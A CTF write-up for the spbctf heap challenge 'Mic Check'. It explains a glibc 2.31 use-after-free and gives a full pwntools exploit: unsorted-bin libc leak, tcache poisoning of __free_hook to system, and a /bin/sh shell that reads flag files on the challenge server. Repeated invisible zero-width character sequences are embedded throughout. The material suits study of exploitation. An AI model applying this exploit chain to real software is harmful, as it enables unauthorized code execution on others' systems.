← Back to Writeups
CUSTOMMediumpwn

pwn9_mc4 — Mic Check: leak and pwn!

XESXOR9/2/20264 min read
#pwn#custom#medium#unsorted_bin_leak#tcache_poisoning_no_safe_linki#free_hook_overwrite#system_binsh#linux

pwn9_mc4 — Mic Check: leak and pwn!

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: unsorted_bin_leak, tcache_poisoning_no_safe_linking, free_hook_overwrite, system_binsh

Summary

Task: menu-driven glibc 2.31 heap allocator where delete() doesn't NULL the slot, making print and edit usable on freed chunks. Solution: unsorted-bin leak via a chunk > tcache max and a guard to prevent top-consolidation; tcache poisoning by editing the freed chunk's fd to __free_hook; write system into __free_hook; free('/bin/sh') → shell.

pwn9_mc4 — Mic Check: leak and pwn! (SPB CTF)

Description

Mic Check — "leak and pwn!" — 10 pts. Heap challenge, glibc 2.31. nc 109.233.56.90 11803

Menu-based heap allocator with array[10] pointer table:

  • 1 allocate — size 1..0x7ff, malloc, read size bytes byte-by-byte until \n, NUL-terminate at the newline.
  • 2 print — puts(array[idx]) — no NULL check, so UAF-read works.
  • 3 delete — free(array[idx]) — does not clear the slot.
  • 4 edit — read up to 0x10 bytes into array[idx], stop on \n or 16 bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Binary

  • mc4.elf — x86-64, PIE, Full RELRO, NX, Canary.
  • libc.so — glibc 2.31-0ubuntu9.1 (no safe-linking yet on tcache).

Analysis

delete leaves a dangling pointer. Combined with print and especially edit continuing to work on that dangling pointer, we have everything needed:

  • UAF-read via print — puts the freed chunk's first bytes (the tcache/bin fd).
  • UAF-write via edit — lets us clobber a freed chunk's fd, which in glibc 2.31 without safe-linking is a raw pointer → classic tcache poisoning.
  • Trigger via a second free after overwriting __free_hook with system. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The only subtlety: edit stops on \n or after 16 bytes. If we send fewer than 16 bytes without a newline, the byte-loop hangs. Always pad to 16 bytes.

Solution

Phase 1 — libc leak via unsorted bin

  • alloc(0x420) → chunk size 0x430 > tcache max 0x410, so free routes to the unsorted bin.
  • alloc(0x20) guard — prevents consolidation of the big chunk with top.
  • free(0) → big chunk lands in unsorted bin; fd = main_arena + 0x60.
  • print(0) (UAF-read) leaks 6 bytes of main_arena + 0x60.
  • libc_base = leak - 0x1ebbe0. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 2 — tcache poisoning

  • alloc two chunks of size 0x60 (chunk size 0x70) at idx 2 and 3.
  • free(2) then free(3) → tcache[0x70] head = D → C.
  • edit(3, p64(__free_hook) + b'X'*8) — overwrites D's fd with __free_hook. Pad to 16 bytes because the edit loop otherwise won't return.
  • alloc(0x60) → pops D.
  • alloc(0x60, p64(system)) → malloc returns __free_hook as the user pointer, and the allocation write places system there. Now __free_hook = system.

Phase 3 — trigger

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • alloc(0x20, "/bin/sh\0").
  • free that chunk → __free_hook(chunk_ptr) = system("/bin/sh") → shell → cat /flag.

Full exploit

python
#!/usr/bin/env python3
"""pwn9_mc4 — glibc 2.31 heap: UAF + edit → tcache poison → __free_hook = system."""
from pwn import *

context.binary = elf = ELF('./mc4.elf')
context.log_level = 'info'
libc = ELF('./libc.so')

HOST, PORT = '109.233.56.90', 11803


def alloc(p, size, data):
    p.sendlineafter(b'Choose:', b'1')
    p.sendlineafter(b'Size?', str(size).encode())
    p.sendafter(b'enter name:\n', data)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def show(p, idx):
    p.sendlineafter(b'Choose:', b'2')
    p.sendlineafter(b'Index?', str(idx).encode())

def free(p, idx):
    p.sendlineafter(b'Choose:', b'3')
    p.sendlineafter(b'Index?', str(idx).encode())

def edit(p, idx, data):
    # edit reads up to 0x10 bytes byte-by-byte, stops on '\n'. Always send full 16 bytes.
    p.sendlineafter(b'Choose:', b'4')
    p.sendlineafter(b'Index?', str(idx).encode())
    p.send(data)


def exploit():
    p = remote(HOST, PORT)

    # Phase 1: unsorted-bin leak
    alloc(p, 0x420, b'A' * 8 + b'\n')         # idx 0 — big chunk
    alloc(p, 0x20,  b'guard\n')               # idx 1 — guard against top consolidation
    free(p, 0)                                 # → unsorted bin
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    p.sendlineafter(b'Choose:', b'2')
    p.sendlineafter(b'Index?', b'0')
    leak_raw = b''
    while len(leak_raw) < 5:
        leak_raw = p.recvline().rstrip(b'\n')  # skip stray blank lines
    leak = u64(leak_raw.ljust(8, b'\x00'))
    libc.address = leak - 0x1ebbe0
    assert libc.address & 0xfff == 0
    log.success(f'libc base: {hex(libc.address)}')

    system    = libc.sym.system
    free_hook = libc.sym.__free_hook

    # Phase 2: tcache poison __free_hook
    alloc(p, 0x60, b'C\n')                     # idx 2
    alloc(p, 0x60, b'D\n')                     # idx 3
    free(p, 2)                                  # tcache[0x70]: C
    free(p, 3)                                  # tcache[0x70]: D → C
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    edit(p, 3, p64(free_hook) + b'X' * 8)      # D.fd = __free_hook (pad to 16 bytes)

    alloc(p, 0x60, b'dummy\n')                  # idx 4 = D
    alloc(p, 0x60, p64(system) + b'\n')         # idx 5 = __free_hook; writes system

    # Phase 3: trigger
    alloc(p, 0x20, b'/bin/sh\x00\n')            # idx 6
    p.sendlineafter(b'Choose:', b'3')
    p.sendlineafter(b'Index?', b'6')             # free(ptr) → __free_hook(ptr) = system("/bin/sh")

    # Shell (non-interactive)
    p.sendline(b'cat /flag* 2>&1; cat /home/*/flag* 2>&1')
    try:
        out = p.recvall(timeout=8)
    except EOFError:
        out = b''
    print(out.decode(errors='replace'))
    p.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


if __name__ == '__main__':
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍